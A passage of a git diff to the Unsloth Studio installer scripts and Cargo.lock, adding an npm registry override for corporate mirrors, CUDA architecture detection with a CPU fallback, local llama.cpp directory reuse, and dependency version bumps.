-            $CmakeArgs += "-DCUDA_TOOLKIT_ROOT_DIR=$CudaToolkitRoot"
-            $CmakeArgs += "-DCMAKE_CUDA_COMPILER=$NvccPath"
-            if ($CudaArch) {
-                # Validate nvcc actually supports this architecture
-                if (Test-NvccArchSupport -NvccExe $NvccPath -Arch $CudaArch) {
-                    $CmakeArgs += "-DCMAKE_CUDA_ARCHITECTURES=$CudaArch"
-                } else {
-                    # GPU arch too new for this toolkit -- fall back to highest supported.
-                    # PTX forward-compatibility will JIT-compile for the actual GPU at runtime.
-                    $maxArch = Get-NvccMaxArch -NvccExe $NvccPath
-                    if ($maxArch) {
-                        $CmakeArgs += "-DCMAKE_CUDA_ARCHITECTURES=$maxArch"
-                        substep "GPU is sm_$CudaArch but nvcc only supports up to sm_$maxArch" "Yellow"
-                        substep "Building with sm_$maxArch (PTX will JIT for your GPU at runtime)" "Yellow"
+            # UNSLOTH_LLAMA_CUDA_ARCHS (e.g. "120" or "89;86") forces the build
+            # arch and wins over detection, matching setup.sh.
+            $CudaArchOverride = if ($env:UNSLOTH_LLAMA_CUDA_ARCHS) { ($env:UNSLOTH_LLAMA_CUDA_ARCHS -replace '\s', '') } else { '' }
+            if ((-not $CudaArch) -and (-not $CudaArchOverride)) {
+                # No detectable compute capability (#5854): -DGGML_CUDA=ON with no
+                # arch builds a PTX-only binary, so build CPU instead. Mirrors the
+                # Linux fix; set UNSLOTH_LLAMA_CUDA_ARCHS=120 to force a CUDA build.
+                substep "could not detect a CUDA compute capability; building CPU llama.cpp instead of a PTX-only binary (set UNSLOTH_LLAMA_CUDA_ARCHS=120 to force a CUDA build)." "Yellow"
+                $CmakeArgs += '-DGGML_CUDA=OFF'
+            } else {
+                $CmakeArgs += '-DGGML_CUDA=ON'
+                # Accept a host MSVC newer than nvcc's whitelist; a fresh toolkit
+                # (e.g. CUDA 13.3) otherwise aborts with "#error -- unsupported
+                # Microsoft Visual Studio version!". Mirrors the Linux fix. Via env
+                # (covers the configure probe + build), after Refresh-Environment, idempotent.
+                $nvccAllowFlag = '-allow-unsupported-compiler'
+                if ([string]::IsNullOrEmpty($env:NVCC_PREPEND_FLAGS)) {
+                    $env:NVCC_PREPEND_FLAGS = $nvccAllowFlag
+                } elseif ($env:NVCC_PREPEND_FLAGS -notlike "*$nvccAllowFlag*") {
+                    $env:NVCC_PREPEND_FLAGS = "$($env:NVCC_PREPEND_FLAGS) $nvccAllowFlag"
+                }
+                substep "NVCC_PREPEND_FLAGS = $env:NVCC_PREPEND_FLAGS"
+                $CmakeArgs += "-DCUDAToolkit_ROOT=$CudaToolkitRoot"
+                $CmakeArgs += "-DCUDA_TOOLKIT_ROOT_DIR=$CudaToolkitRoot"
+                $CmakeArgs += "-DCMAKE_CUDA_COMPILER=$NvccPath"
+                if ($CudaArchOverride) {
+                    # Forced arch wins verbatim (no nvcc validation), matching setup.sh.
+                    $CmakeArgs += "-DCMAKE_CUDA_ARCHITECTURES=$CudaArchOverride"
+                } elseif ($CudaArch) {
+                    # Validate nvcc actually supports this architecture
+                    if (Test-NvccArchSupport -NvccExe $NvccPath -Arch $CudaArch) {
+                        $CmakeArgs += "-DCMAKE_CUDA_ARCHITECTURES=$CudaArch"
+                    } else {
+                        # GPU arch too new for this toolkit -- fall back to highest supported.
+                        # PTX forward-compatibility will JIT-compile for the actual GPU at runtime.
+                        $maxArch = Get-NvccMaxArch -NvccExe $NvccPath
+                        if ($maxArch) {
+                            $CmakeArgs += "-DCMAKE_CUDA_ARCHITECTURES=$maxArch"
+                            substep "GPU is sm_$CudaArch but nvcc only supports up to sm_$maxArch" "Yellow"
+                            substep "Building with sm_$maxArch (PTX will JIT for your GPU at runtime)" "Yellow"
+                        }
+                        # else: omit flag entirely, let cmake pick defaults
                     }
-                    # else: omit flag entirely, let cmake pick defaults
                 }
             }
         } else {
diff --git a/studio/setup.sh b/studio/setup.sh
index ac82416f9b..6a74cd2296 100755
--- a/studio/setup.sh
+++ b/studio/setup.sh
@@ -74,6 +74,62 @@ verbose_substep() {
     return 0
 }
 
+# ── Corporate-mirror / proxy escape hatch for the frontend npm/bun install (#6491) ──
+# studio/frontend/.npmrc pins registry=https://registry.npmjs.org/ as a supply-chain
+# lock. A project-level pin overrides a corporate user's ~/.npmrc proxy, so the install
+# hits npmjs.org directly and a firewall returns 403. UNSLOTH_NPM_REGISTRY is a
+# deliberate opt-in: when set we thread it as `--registry <url>` into every npm/bun
+# install. `--registry` is the highest-precedence override for BOTH tools and leaves
+# min-release-age / save-exact in force. Empty array (the default) expands to nothing
+# under `set -u`, so normal installs are unchanged.
+_NPM_REGISTRY_ARGS=()
+if [ -n "${UNSLOTH_NPM_REGISTRY:-}" ]; then
+    _NPM_REGISTRY_ARGS=(--registry "$UNSLOTH_NPM_REGISTRY")
+fi
+# Failure-path capture log consumed by _suggest_npm_registry. Set to a temp file
+# around the npm/bun installs; "" elsewhere so unrelated run_quiet calls don't capture.
+_CAPTURE_LOG=""
+
+# Print actionable guidance when a frontend/OXC npm/bun install fails and the registry
+# lock is the likely cause (corporate firewall/proxy). No-op once the user has opted in
+# via UNSLOTH_NPM_REGISTRY. We never switch registries automatically -- we only guide.
+# $1 = path to a captured install log (may be empty/missing).
+_suggest_npm_registry() {
+    [ -n "${UNSLOTH_NPM_REGISTRY:-}" ] && return 0
+    local _log="${1:-}"
+    # If we captured output and it does NOT look like a registry/network problem, stay
+    # quiet -- the raw error already shown is more useful than a misleading hint.
+    if [ -n "$_log" ] && [ -s "$_log" ] \
+        && ! grep -Eqi '40[13]|ENOTFOUND|ECONNREFUSED|ECONNRESET|ETIMEDOUT|EAI_AGAIN|ConnectionRefused|failed to resolve|registry\.npmjs\.org|getaddrinfo|tunneling socket|network|proxy|self.?signed|unable to (get|verify)' "$_log"; then
+        return 0
+    fi
+    # Best-effort: surface a mirror the user already configured (env or ~/.npmrc).
+    # Read npm config from / (a dir with no project .npmrc) so the frontend's pinned
+    # registry= does not mask the user's ~/.npmrc / global mirror -- the caller is
+    # still inside studio/frontend when this runs.
+    local _mirror="${NPM_CONFIG_REGISTRY:-${npm_config_registry:-}}"
+    if [ -z "$_mirror" ] && command -v npm >/dev/null 2>&1; then
+        _mirror="$( (cd / 2>/dev/null && npm config get registry) 2>/dev/null || true )"
+    fi
+    case "$_mirror" in
+        ""|undefined|null|https://registry.npmjs.org|https://registry.npmjs.org/) _mirror="" ;;
+    esac
+    printf '\n' >&2
+    step "frontend" "registry.npmjs.org looks blocked (corporate firewall/proxy?)" "$C_WARN" >&2
+    if [ -n "$_mirror" ]; then
+        substep "Studio pins the public npm registry; your mirror is being ignored." >&2
+        substep "Detected a registry in your npm config:" >&2
+        substep "  $_mirror" >&2
+        substep "Re-run pointing Studio at it:" >&2
+        substep "  UNSLOTH_NPM_REGISTRY=$_mirror ./install.sh --local" >&2
+    else
+        substep "If you use a private mirror/proxy, point Studio at it and re-run:" >&2
+        substep "  UNSLOTH_NPM_REGISTRY=https://your-mirror.example/api/npm/ ./install.sh --local" >&2
+    fi
+    substep "(min-release-age and save-exact stay enforced.)" >&2
+    return 0
+}
+
 run_maybe_quiet() {
     if _is_verbose; then
         "$@"
@@ -113,6 +169,7 @@ _run_quiet() {
         local exit_code=$?
         step "error" "$label failed (exit code $exit_code)" "$C_ERR" >&2
         cat "$tmplog" >&2
+        if [ -n "${_CAPTURE_LOG:-}" ]; then cat "$tmplog" >> "$_CAPTURE_LOG" 2>/dev/null || true; fi
         rm -f "$tmplog"
 
         if [ "$on_fail" = "exit" ]; then
@@ -155,6 +212,31 @@ _nvcc_meets_llama_minimum() {
     echo "$_raw"
 }
 
+# Echo a ';'-separated CUDA arch list (e.g. "86;120"). Override ($2,
+# UNSLOTH_LLAMA_CUDA_ARCHS) wins verbatim; else parse+dedupe compute_cap text
+# ($1). Empty means "no arch detected", so the caller builds CPU instead of a
+# PTX-only binary that fails on an old driver (#5854).
+_resolve_cuda_archs() {
+    local _raw_caps=$1
+    local _arch_override=$2
+    if [ -n "$_arch_override" ]; then
+        printf '%s' "$_arch_override"
+        return 0
+    fi
+    local _archs="" _cap _arch
+    while IFS= read -r _cap; do
+        _cap=$(printf '%s' "$_cap" | tr -d '[:space:]')
+        if [[ "$_cap" =~ ^([0-9]+)\.([0-9]+)$ ]]; then
+            _arch="${BASH_REMATCH[1]}${BASH_REMATCH[2]}"
+            case ";$_archs;" in
+                *";$_arch;"*) ;;
+                *) _archs="${_archs:+$_archs;}$_arch" ;;
+            esac
+        fi
+    done <<< "$_raw_caps"
+    printf '%s' "$_archs"
+}
+
 # Run a GPU probe under a 10s timeout when `timeout` is available so a wedged
 # NVIDIA driver cannot hang setup; fall back to a bare call where it is not.
 _setup_run_smi() {
@@ -622,7 +704,7 @@ elif [ "$NODE_SOURCE" = bundled ]; then
     substep "installing bun..."
     # --allow-scripts=bun: npm >=11.16 gates install scripts and bun's
     # postinstall fetches its binary; without it the install is a broken stub.
-    if run_maybe_quiet npm install -g bun --allow-scripts=bun && command -v bun &>/dev/null; then
+    if run_maybe_quiet npm install -g bun --allow-scripts=bun "${_NPM_REGISTRY_ARGS[@]+"${_NPM_REGISTRY_ARGS[@]}"}" && command -v bun &>/dev/null; then
         substep "bun installed ($(bun --version))"
     else
         substep "bun install skipped (npm will be used instead)"
@@ -665,7 +747,7 @@ trap _restore_gitignores EXIT
 _try_bun_install() {
     local _log _exit_code=0
     _log=$(mktemp)
-    bun install >"$_log" 2>&1 || _exit_code=$?
+    bun install "${_NPM_REGISTRY_ARGS[@]+"${_NPM_REGISTRY_ARGS[@]}"}" >"$_log" 2>&1 || _exit_code=$?
 
     # bun may create .exe shims on Windows (Git Bash / MSYS2) instead of plain scripts
     if [ "$_exit_code" -eq 0 ] \
@@ -682,11 +764,15 @@ _try_bun_install() {
         echo "   bun install exited 0 but critical binaries are missing:"
     fi
     sed 's/^/   | /' "$_log" >&2
+    if [ -n "${_CAPTURE_LOG:-}" ]; then cat "$_log" >> "$_CAPTURE_LOG" 2>/dev/null || true; fi
     rm -f "$_log"
     rm -rf node_modules
     return 1
 }
 
+# Capture install output (bun + npm fallback) so we can detect a registry block.
+_FRONTEND_INSTALL_LOG=$(mktemp)
+_CAPTURE_LOG="$_FRONTEND_INSTALL_LOG"
 _bun_install_ok=false
 if command -v bun &>/dev/null; then
     substep "using bun for package install (faster)"
@@ -703,12 +789,19 @@ if command -v bun &>/dev/null; then
     fi
 fi
 if [ "$_bun_install_ok" = false ]; then
-    run_quiet_no_exit "npm install" npm install --no-fund --no-audit --loglevel=error
-    _npm_install_rc=$?
+    # `|| _npm_install_rc=$?` keeps this off `set -e`'s exit path (run_quiet_no_exit
+    # returns non-zero on failure) so the hint branch is reachable; it also captures
+    # the exact exit code. Mirrors the `|| BUILD_OK=false` idiom used below.
+    _npm_install_rc=0
+    run_quiet_no_exit "npm install" npm install --no-fund --no-audit --loglevel=error "${_NPM_REGISTRY_ARGS[@]+"${_NPM_REGISTRY_ARGS[@]}"}" || _npm_install_rc=$?
     if [ "$_npm_install_rc" -ne 0 ]; then
+        _suggest_npm_registry "$_FRONTEND_INSTALL_LOG"
+        rm -f "$_FRONTEND_INSTALL_LOG"
         exit "$_npm_install_rc"
     fi
 fi
+_CAPTURE_LOG=""
+rm -f "$_FRONTEND_INSTALL_LOG"
 run_quiet "npm run build" npm run build
 
 _restore_gitignores
@@ -734,11 +827,19 @@ fi  # end frontend build check
 # Node, so do not run npm install against an unsuitable/absent system Node.
 if [ -d "$_OXC_DIR" ] && [ "${NODE_SOURCE:-}" != skip ] && command -v npm &>/dev/null; then
     cd "$_OXC_DIR"
-    run_quiet_no_exit "npm install (oxc validator runtime)" npm install --no-fund --no-audit --loglevel=error
-    _oxc_install_rc=$?
+    _OXC_INSTALL_LOG=$(mktemp)
+    _CAPTURE_LOG="$_OXC_INSTALL_LOG"
+    # `|| _oxc_install_rc=$?` keeps this off `set -e`'s exit path so the hint branch
+    # below is reachable; it also captures the exact exit code.
+    _oxc_install_rc=0
+    run_quiet_no_exit "npm install (oxc validator runtime)" npm install --no-fund --no-audit --loglevel=error "${_NPM_REGISTRY_ARGS[@]+"${_NPM_REGISTRY_ARGS[@]}"}" || _oxc_install_rc=$?
+    _CAPTURE_LOG=""
     if [ "$_oxc_install_rc" -ne 0 ]; then
+        _suggest_npm_registry "$_OXC_INSTALL_LOG"
+        rm -f "$_OXC_INSTALL_LOG"
         exit "$_oxc_install_rc"
     fi
+    rm -f "$_OXC_INSTALL_LOG"
     cd "$SCRIPT_DIR"
 elif [ -d "$_OXC_DIR" ] && [ "${NODE_SOURCE:-}" != skip ]; then
     # No npm on PATH: skip rather than abort; the backend Node resolver degrades
@@ -846,6 +947,23 @@ print(version(sys.argv[1]))
     if [ -n "$INSTALLED_VER" ] && [ -n "$LATEST_VER" ] && [ "$INSTALLED_VER" = "$LATEST_VER" ]; then
         step "python" "$_PKG_NAME $INSTALLED_VER is up to date"
         _SKIP_PYTHON_DEPS=true
+        # A pre-#6483-fix install can be stuck on anyio>=4.14 even though
+        # $_PKG_NAME itself is current; the fast path above would otherwise
+        # never reach install_python_stack's anyio repair (#6797).
+        if "$VENV_DIR/bin/python" -c "
+import re, sys
+from importlib.metadata import version, PackageNotFoundError
+try:
+    parts = version('anyio').split('.')
+    major = int(parts[0])
+    minor = int(re.sub(r'[^0-9].*', '', parts[1])) if len(parts) > 1 else 0
+except (PackageNotFoundError, ValueError, IndexError):
+    sys.exit(1)
+sys.exit(0 if (major, minor) >= (4, 14) else 1)
+" 2>/dev/null; then
+            substep "anyio >=4.14 found (#6483) -- forcing dependency pass to repair..."
+            _SKIP_PYTHON_DEPS=false
+        fi
     elif [ -n "$INSTALLED_VER" ] && [ -n "$LATEST_VER" ]; then
         substep "$_PKG_NAME $INSTALLED_VER -> $LATEST_VER available, updating..."
     elif [ -z "$LATEST_VER" ]; then
@@ -1153,7 +1271,90 @@ fi
 
 verbose_substep "requested llama.cpp tag: $_REQUESTED_LLAMA_TAG (repo: $_HELPER_RELEASE_REPO)"
 
-if [ "$_LLAMA_FORCE_COMPILE" = "1" ]; then
+# GGUF export's check_llama_cpp() looks for a llama-quantize shim at the root of
+# the install dir, but a source build keeps the binary under build/bin/. Mirror
+# the source-build-reuse step and create the shim when the reused tree has one
+# but no root shim yet. Best-effort: the tree may be read-only (shared/CI cache),
+# and under `set -e` a failed ln would otherwise abort an good reuse.
+_link_local_llama_quantize_shim() {
+    if [ -x "$1/build/bin/llama-quantize" ] && [ ! -e "$1/llama-quantize" ]; then
+        ln -sf build/bin/llama-quantize "$1/llama-quantize" 2>/dev/null || \
+            substep "could not create llama-quantize shim in linked dir (read-only?); GGUF export may be unavailable"
+    fi
+}
+
+# Accept any layout LlamaCppBackend._layout_candidates() resolves so the flag
+# never rejects a tree Studio could actually run: a root-level llama-server (a
+# `make` build or a flat-extracted release) or the CMake build/bin/llama-server.
+_has_local_llama_server() {
+    [ -x "$1/llama-server" ] || [ -x "$1/build/bin/llama-server" ]
+}
+
+_LOCAL_LLAMA_CPP_LINKED=false
+if [ -n "${UNSLOTH_LOCAL_LLAMA_CPP_DIR:-}" ]; then
+    if [ ! -d "$UNSLOTH_LOCAL_LLAMA_CPP_DIR" ]; then
+        step "llama.cpp" "UNSLOTH_LOCAL_LLAMA_CPP_DIR does not exist: $UNSLOTH_LOCAL_LLAMA_CPP_DIR" "$C_ERR"
+        exit 1
+    fi
+    _RESOLVED_LOCAL="$(CDPATH= cd -P -- "$UNSLOTH_LOCAL_LLAMA_CPP_DIR" && pwd -P)"
+    # Canonicalize the install path the same way before comparing: _RESOLVED_LOCAL
+    # is fully resolved, but LLAMA_CPP_DIR is textual ($UNSLOTH_HOME/llama.cpp). If
+    # $HOME (or UNSLOTH_HOME) contains a symlink, the two never match even when the
+    # user pointed the flag at the canonical install itself -- and the rm -rf below
+    # would then wipe the very tree they asked to reuse. Resolve via the parent so
+    # this works whether or not the leaf currently exists.
+    _CANON_LLAMA_CPP_DIR="$LLAMA_CPP_DIR"
+    _LLAMA_CPP_PARENT="$(dirname "$LLAMA_CPP_DIR")"
+    if [ -d "$_LLAMA_CPP_PARENT" ]; then
+        _CANON_LLAMA_CPP_DIR="$(CDPATH= cd -P -- "$_LLAMA_CPP_PARENT" && pwd -P)/$(basename "$LLAMA_CPP_DIR")"
+    fi
+    if [ "$_RESOLVED_LOCAL" = "$_CANON_LLAMA_CPP_DIR" ]; then
+        # Points at the canonical install location itself: never delete-then-link
+        # it onto itself. If a usable build is already there, reuse it and skip
+        # both the prebuilt download and the source build -- the prebuilt installer
+        # uses os.replace() and would otherwise clobber an existing source build at
+        # this path. If nothing is built there yet, fall through to the normal
+        # install so it gets built in place exactly as it would without the flag.
+        if _has_local_llama_server "$LLAMA_CPP_DIR"; then
+            substep "UNSLOTH_LOCAL_LLAMA_CPP_DIR is the canonical install location and already holds a build; reusing it"
+            _link_local_llama_quantize_shim "$LLAMA_CPP_DIR"
+            _LOCAL_LLAMA_CPP_LINKED=true
+            _NEED_LLAMA_SOURCE_BUILD=false
+            _SKIP_PREBUILT_INSTALL=true
+        else
+            substep "UNSLOTH_LOCAL_LLAMA_CPP_DIR points to the canonical install location with nothing built there yet; running the normal install"
+        fi
+    else
+        # Reusing disables BOTH the prebuilt download and the source build, so the
+        # linked tree must already contain a runnable llama-server in one of the
+        # layouts the backend resolves (root-level or build/bin/). Fail clearly
+        # rather than link an unbuilt or wrong-platform checkout and leave Studio
+        # with no usable binary.
+        if ! _has_local_llama_server "$_RESOLVED_LOCAL"; then
+            step "llama.cpp" "no llama-server under $_RESOLVED_LOCAL (looked for ./llama-server and ./build/bin/llama-server) -- build llama.cpp there first, or drop --with-llama-cpp-dir" "$C_ERR"
+            exit 1
+        fi
+        # A stale link from a previous --with-llama-cpp-dir run isn't Studio-owned
+        # content; drop it before the ownership check so re-runs stay idempotent
+        # for a custom UNSLOTH_STUDIO_HOME (the assert would otherwise follow the
+        # link into the user's dir and reject it as unowned).
+        [ -L "$LLAMA_CPP_DIR" ] && rm -f "$LLAMA_CPP_DIR"
+        if [ "$_STUDIO_HOME_IS_CUSTOM" = true ]; then
+            _assert_studio_owned_or_absent "$LLAMA_CPP_DIR" "llama.cpp install"
+        fi
+        rm -rf "$LLAMA_CPP_DIR"
+        ln -sfn "$_RESOLVED_LOCAL" "$LLAMA_CPP_DIR"
+        _link_local_llama_quantize_shim "$LLAMA_CPP_DIR"
+        step "llama.cpp" "linked local directory: $_RESOLVED_LOCAL"
+        _LOCAL_LLAMA_CPP_LINKED=true
+        _NEED_LLAMA_SOURCE_BUILD=false
+        _SKIP_PREBUILT_INSTALL=true
+    fi
+fi
+
+if [ "$_LOCAL_LLAMA_CPP_LINKED" = true ]; then
+    : # local directory linked above; skip prebuilt install
+elif [ "$_LLAMA_FORCE_COMPILE" = "1" ]; then
     step "llama.cpp" "UNSLOTH_LLAMA_FORCE_COMPILE=1 -- skipping prebuilt" "$C_WARN"
     _NEED_LLAMA_SOURCE_BUILD=true
 elif [ "${_SKIP_PREBUILT_INSTALL:-false}" = true ]; then
@@ -1517,35 +1718,38 @@ else
                     fi
 
                     if [ "$_CUDA_TOOLKIT_ALLOWED" = true ]; then
-                        CMAKE_ARGS="$CMAKE_ARGS -DGGML_CUDA=ON"
-
-                        CUDA_ARCHS=""
-                        if command -v nvidia-smi &>/dev/null; then
-                            _raw_caps=$(_setup_run_smi nvidia-smi --query-gpu=compute_cap --format=csv,noheader 2>/dev/null || true)
-                            while IFS= read -r _cap; do
-                                _cap=$(echo "$_cap" | tr -d '[:space:]')
-                                if [[ "$_cap" =~ ^([0-9]+)\.([0-9]+)$ ]]; then
-                                    _arch="${BASH_REMATCH[1]}${BASH_REMATCH[2]}"
-                                    case ";$CUDA_ARCHS;" in
-                                        *";$_arch;"*) ;;
-                                        *) CUDA_ARCHS="${CUDA_ARCHS:+$CUDA_ARCHS;}$_arch" ;;
-                                    esac
-                                fi
-                            done <<< "$_raw_caps"
+                        # Resolve the arch list before committing to a CUDA build;
+                        # an empty list means CPU instead of a PTX-only binary (#5854).
+                        _raw_caps=""
+                        # Resolve nvidia-smi as _setup_has_usable_nvidia_gpu does
+                        # (PATH, then /usr/bin); `command -v` alone would miss an
+                        # off-PATH binary and wrongly drop a CUDA host to CPU.
+                        _smi_bin=""
+                        if command -v nvidia-smi >/dev/null 2>&1; then
+                            _smi_bin="nvidia-smi"
+                        elif [ -x "/usr/bin/nvidia-smi" ]; then
+                            _smi_bin="/usr/bin/nvidia-smi"
                         fi
+                        if [ -n "$_smi_bin" ]; then
+                            _raw_caps=$(_setup_run_smi "$_smi_bin" --query-gpu=compute_cap --format=csv,noheader 2>/dev/null || true)
+                        fi
+                        CUDA_ARCHS="$(_resolve_cuda_archs "$_raw_caps" "${UNSLOTH_LLAMA_CUDA_ARCHS:-}")"
 
                         if [ -n "$CUDA_ARCHS" ]; then
-                            CMAKE_ARGS="$CMAKE_ARGS -DCMAKE_CUDA_ARCHITECTURES=${CUDA_ARCHS}"
+                            CMAKE_ARGS="$CMAKE_ARGS -DGGML_CUDA=ON -DCMAKE_CUDA_ARCHITECTURES=${CUDA_ARCHS}"
+                            CMAKE_ARGS="$CMAKE_ARGS -DCMAKE_CUDA_FLAGS=--threads=0"
                             _BUILD_DESC="building (CUDA, sm_${CUDA_ARCHS//;/+sm_})"
+
+                            # Allow a host gcc/clang newer than nvcc's whitelist (else a fresh
+                            # toolkit aborts with "unsupported GNU version"); via env to avoid word-splitting.
+                            export NVCC_PREPEND_FLAGS="${NVCC_PREPEND_FLAGS:+$NVCC_PREPEND_FLAGS }-allow-unsupported-compiler"
                         else
-                            _BUILD_DESC="building (CUDA)"
+                            # No detectable arch: build CPU (CMAKE_ARGS has no
+                            # -DGGML_CUDA=ON yet, so clearing GPU_BACKEND yields CPU).
+                            substep "could not detect a CUDA compute capability; building CPU llama.cpp instead of a PTX-only binary (set UNSLOTH_LLAMA_CUDA_ARCHS, e.g. \"120\", to force a CUDA build)." "$C_WARN"
+                            GPU_BACKEND=""
+                            _BUILD_DESC="building (CPU, CUDA arch undetectable)"
                         fi
-
-                        CMAKE_ARGS="$CMAKE_ARGS -DCMAKE_CUDA_FLAGS=--threads=0"
-
-                        # Allow a host gcc/clang newer than nvcc's whitelist (else a fresh
-                        # toolkit aborts with "unsupported GNU version"); via env to avoid word-splitting.
-                        export NVCC_PREPEND_FLAGS="${NVCC_PREPEND_FLAGS:+$NVCC_PREPEND_FLAGS }-allow-unsupported-compiler"
                     fi
                 fi
             elif [ "$GPU_BACKEND" = "rocm" ]; then
@@ -1794,6 +1998,7 @@ else
         printf "  ${C_DIM}%-15s${C_OK}%s${C_RST}\n" "launch" "unsloth studio -p 8888"
     fi
     printf "  ${C_DIM}%-15s%s${C_RST}\n" "" "(add -H 0.0.0.0 to allow network / cloud access)"
+    printf "  ${C_DIM}%-15s%s${C_RST}\n" "" "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
 fi
 echo ""
 
diff --git a/studio/src-tauri/Cargo.lock b/studio/src-tauri/Cargo.lock
index c964946d0e..183cfc1cc8 100644
--- a/studio/src-tauri/Cargo.lock
+++ b/studio/src-tauri/Cargo.lock
@@ -294,6 +294,15 @@ dependencies = [
  "generic-array",
 ]
 
+[[package]]
+name = "block-buffer"
+version = "0.12.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d2f6c7dbe95a6ed67ad9f18e57daf93a2f034c524b99fd2b76d18fdfeb6660aa"
+dependencies = [
+ "hybrid-array",
+]
+
 [[package]]
 name = "block2"
 version = "0.6.2"
@@ -518,6 +527,12 @@ dependencies = [
  "error-code",
 ]
 
+[[package]]
+name = "cmov"
+version = "0.5.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0c9ea0ac24bc397ab3c98583a3c9ba74fa56b09a4449bbe172b9b1ddb016027a"
+
 [[package]]
 name = "combine"
 version = "4.6.7"
@@ -537,6 +552,12 @@ dependencies = [
  "crossbeam-utils",
 ]
 
+[[package]]
+name = "const-oid"
+version = "0.10.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a6ef517f0926dd24a1582492c791b6a4818a4d94e789a334894aa15b0d12f55c"
+
 [[package]]
 name = "convert_case"
 version = "0.4.0"
@@ -661,6 +682,15 @@ dependencies = [
  "typenum",
 ]
 
+[[package]]
+name = "crypto-common"
+version = "0.2.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ce6e4c961d6cd6c9a86db418387425e8bdeaf05b3c8bc1411e6dca4c252f1453"
+dependencies = [
+ "hybrid-array",
+]
+
 [[package]]
 name = "cssparser"
 version = "0.29.6"
@@ -717,6 +747,15 @@ version = "0.0.7"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "52560adf09603e58c9a7ee1fe1dcb95a16927b17c127f0ac02d6e768a0e25bc1"
 
+[[package]]
+name = "ctutils"
+version = "0.4.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7d5515a3834141de9eafb9717ad39eea8247b5674e6066c404e8c4b365d2a29e"
+dependencies = [
+ "cmov",
+]
+
 [[package]]
 name = "darling"
 version = "0.23.0"
@@ -823,9 +862,20 @@ version = "0.10.7"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292"
 dependencies = [
- "block-buffer",
- "crypto-common",
- "subtle",
+ "block-buffer 0.10.4",
+ "crypto-common 0.1.7",
+]
+
+[[package]]
+name = "digest"
+version = "0.11.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f1dd6dbb5841937940781866fa1281a1ff7bd3bf827091440879f9994983d5c2"
+dependencies = [
+ "block-buffer 0.12.1",
+ "const-oid",
+ "crypto-common 0.2.2",
+ "ctutils",
 ]
 
 [[package]]
@@ -846,7 +896,7 @@ dependencies = [
  "libc",
  "option-ext",
  "redox_users",
- "windows-sys 0.61.2",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
@@ -1061,7 +1111,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb"
 dependencies = [
  "libc",
- "windows-sys 0.61.2",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
@@ -1729,11 +1779,11 @@ checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70"
 
 [[package]]
 name = "hmac"
-version = "0.12.1"
+version = "0.13.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e"
+checksum = "6303bc9732ae41b04cb554b844a762b4115a61bfaa81e3e83050991eeb56863f"
 dependencies = [
- "digest",
+ "digest 0.11.3",
 ]
 
 [[package]]
@@ -1806,6 +1856,15 @@ version = "1.10.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87"
 
+[[package]]
+name = "hybrid-array"
+version = "0.4.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9155a582abd142abc056962c29e3ce5ff2ad5469f4246b537ed42c5deba857da"
+dependencies = [
+ "typenum",
+]
+
 [[package]]
 name = "hyper"
 version = "1.8.1"
@@ -2274,9 +2333,9 @@ dependencies = [
 
 [[package]]
 name = "libc"
-version = "0.2.183"
+version = "0.2.186"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b5b646652bf6661599e1da8901b3b9522896f01e736bad5f723fe7a3a27f899d"
+checksum = "68ab91017fe16c622486840e4c83c9a37afeff978bd239b5293d61ece587de66"
 
 [[package]]
 name = "libdbus-sys"
@@ -2332,9 +2391,9 @@ dependencies = [
 
 [[package]]
 name = "log"
-version = "0.4.29"
+version = "0.4.32"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897"
+checksum = "953f07c43838f8e6f9758cab68bf5bed85465e7587ebe0b823f1bcd81978ad3a"
 
 [[package]]
 name = "mac"
@@ -2435,9 +2494,9 @@ dependencies = [
 
 [[package]]
 name = "mio"
-version = "1.1.1"
+version = "1.2.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a69bcab0ad47271a0234d9422b131806bf3968021e5dc9328caf2d4cd58557fc"
+checksum = "02bd0af71c67b473010cbbc60715ee815645a4dc942899111f494b4b737d6fda"
 dependencies = [
  "libc",
  "wasi 0.11.1+wasi-snapshot-preview1",
@@ -2472,7 +2531,7 @@ dependencies = [
  "png 0.18.1",
  "serde",
  "thiserror 2.0.18",
- "windows-sys 0.61.2",
+ "windows-sys 0.60.2",
 ]
 
 [[package]]
@@ -2902,7 +2961,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "7d8fae84b431384b68627d0f9b3b1245fcf9f46f6c0e3dc902e9dce64edd1967"
 dependencies = [
  "libc",
- "windows-sys 0.61.2",
+ "windows-sys 0.45.0",
 ]
 
 [[package]]
@@ -3621,9 +3680,9 @@ dependencies = [
 
 [[package]]
 name = "regex"
-version = "1.12.3"
+version = "1.12.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e10754a14b9137dd7b1e3e5b0493cc9171fdd105e0ab477f51b72e7f3ac0e276"
+checksum = "f1292b7759ae1cb9ec195452d1390a074f0cd8541ab7a5a8c31cd6db45d4a6ba"
 dependencies = [
  "aho-corasick",
  "memchr",
@@ -3644,9 +3703,9 @@ dependencies = [
 
